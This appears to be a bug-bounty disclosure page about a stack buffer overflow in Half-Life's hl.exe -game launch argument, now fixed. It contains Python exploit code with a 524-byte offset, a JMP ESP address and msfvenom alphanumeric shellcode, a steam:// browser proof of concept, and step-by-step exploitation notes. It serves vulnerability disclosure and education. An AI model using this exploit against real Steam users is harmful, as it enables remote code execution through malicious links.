Buffer overflow In hl.exe's launch -game argument allows an attacker to execute arbitrary code locally or from browser
The -game launch argument of hl.exe is copied onto the stack with strcpy() without a length check, so an overly long value overwrites the saved return address. An attacker can hijack control flow and run arbitrary code on a victim's machine, including via a steam:// URI link opened from a browser.
Originally disclosed on HackerOne
- Triaged in 3 days
- Fixed in 5 months
- Paid in 5 months
- Disclosed after 5 months
Summary by the program
Half Life 1 allows users to set various launch arguments when running the game from the command line, one of them is "-game" which specifies the game/mod to be launched. Documented here
hl.exe -game <argument>
The contents of this argument is copied via a call to strcpy() onto the stack without any size checking, this results in adjacent memory being overwritten including the stored return address.
This can be tested by parsing an overly long argument to hl.exe -game <argument> and easily viewed in Immunity Debugger by opening hl.exe and setting the arguments field to -game <overly long input> as seen below.
I believe this routine in WinMain() is the root cause, specifically the strcpy() call.
An attacker can demonstrably use this to hijack program control flow and execute arbitrary code on the target system, as you can see here EIP is controlled.
Control flow being hijacked after return address is overwritten and function returns
Beginning of shellcode execution
This memory corruption can be triggered through Steam's URI handler which allows a browser to launch steam games and specify arguments.
payload = "A"*524
payload += "B"*4
print payload
'''
Either run from command line/in debugger using hl.exe -game <payload> or use the payload in the browser POC below
'''
The exploit below is not quite working because the shellcode won't execute in it's entirety, however the first few instructions get executed demonstrating arbitrary code execution.
import struct
#msfvenom -p windows/exec CMD=calc.exe BufferRegister=ESP --platform windows -a x86 -e x86/alpha_upper
shellcode = "TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLZHMRUPC0C03PLIM56Q9PBDLK606PLK0R4LLK0R24LKT2VH4ONW1Z7V6QKONLWL513L32VLQ09QXO4MEQ8GJBJRF2PWLK62TPLK1ZWLLKPL4Q48JC0H318Q0QLK0Y7PC1ICLK0ITXZCGJW9LK04LKUQN6FQKONLIQ8ODM319W08M0D5ZV5SSMKHWKSMFDRUZD68LKF814UQYC2FLKTLPKLKQHELS1YCLKC4LK318PMYW4Q47TQK1K51PYQJPQKOKP1O1OPZLK4RJKLM1MCZC1LMK5OBEP5P5PPPBHVQLKROK7KO8UOKZPOE920VSXY6MEOMMMKOYE7LS63LTJK0KKKP3E35OKG75C42ROCZS01CKOYE3SCQBLRC6NRE482E5PAA"
payload = "A"*524
payload += struct.pack("<L",0x757d6537) #JMP ESP will differ
payload += shellcode
print payload
Browser POC:
steam://rungameid/70//-game <payload output>
Due to Half Life's command line argument parsing, the entire payload has to comprise of ASCII printable characters, as a result I could not use a JMP ESP gadget from the binary or any loaded process specific DLLs, instead I had to use a gadget address in an OS module which was protected by ASLR.
However, being a 32bit process means the ASLR entropy on this gadget is relatively low and a successful attack could be executed on AT WORST 1/256 victims.
Older versions of Windows that don't employ ASLR on various OS .dlls would theoretically guarantee a near 100% successful exploitation rate.
Test Machine
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.18362 N/A Build 18362
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 1 AuthenticAMD ~3000 Mhz
Hotfix(s): 12 Hotfix(s) Installed.
[01]: KB4537572
[02]: KB4515383
[03]: KB4516115
[04]: KB4521863
[05]: KB4524244
[06]: KB4524569
[07]: KB4528759
[08]: KB4537759
[09]: KB4538674
[10]: KB4541338
[11]: KB4501374
[12]: KB4551762
Impact
An attacker could use this vulnerability to gain remote code execution on the host machine of a victim who clicked on a malicious link as long as they have Steam and Half Life installed.
According to SteamSpy this could affect as many as ten million users. Link to Half Life Stats
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely an unchecked strcpy() of the -game argument into a fixed-size stack buffer in WinMain(), allowing the saved return address to be overwritten.
Impact
An attacker could achieve remote code execution on a victim who clicks a malicious link, provided Steam and Half Life are installed; however, the payload must be printable ASCII and the gadget address sits in an ASLR-protected module, so success is estimated at worst at 1 in 256 victims.
What the attacker needed
Steam and Half Life installed; Victim clicks a malicious link; Payload limited to printable ASCII; Gadget address must match ASLR layout
How it was found
- Open hl.exe in a debugger and set the arguments field to -game followed by an overly long input.
- Observe that the long input overwrites adjacent stack memory, including the stored return address.
- Craft a payload of 524 filler bytes followed by a 4-byte value that lands in the instruction pointer.
- Point that value at a gadget that jumps to the stack, then append shellcode.
- Trigger the same argument through Steam's URI handler from a browser link.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A program keeps a small reserved area of memory (the stack) for short pieces of text. This game copies a user-supplied launch option into that area without checking how long it is, so a very long value spills over into nearby memory, including the address the program returns to when a function finishes. By controlling that address, an attacker can make the program run their own instructions instead.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.